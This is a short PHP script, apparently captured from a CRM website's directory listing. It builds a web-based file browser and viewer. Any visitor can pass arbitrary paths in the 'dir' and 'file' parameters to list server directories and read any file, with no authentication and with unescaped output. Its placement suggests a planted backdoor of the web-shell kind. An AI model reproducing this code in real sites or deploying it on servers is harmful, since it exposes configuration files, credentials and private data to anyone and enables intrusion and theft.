Index of /home/htscrtms/newcrm.htshah.com/hslider
<?php
$dir = isset($_GET['dir']) ? realpath($_GET['dir']) : __DIR__;
if (!$dir || !is_dir($dir)) exit('Invalid directory');
echo "<h2>Index of $dir</h2><ul>";
// Parent directory link
$parent = dirname($dir);
if ($parent != $dir) echo "<li><a href='?dir=" . urlencode($parent) . "'>.. (Parent)</a></li>";
// List files and folders
foreach (scandir($dir) as $f) {
if ($f === '.' || $f === '..') continue;
$path = $dir . DIRECTORY_SEPARATOR . $f;
if (is_dir($path)) {
echo "<li>[DIR] <a href='?dir=" . urlencode($path) . "'>$f</a></li>";
} else {
echo "<li>[FILE] <a href='?file=" . urlencode($path) . "'>$f</a></li>";
}
}
// File viewer
if (isset($_GET['file'])) {
$file = realpath($_GET['file']);
if ($file && is_file($file)) {
echo "<h3>Viewing: $file</h3><pre>" . htmlspecialchars(file_get_contents($file)) . "</pre>";
}
}
?>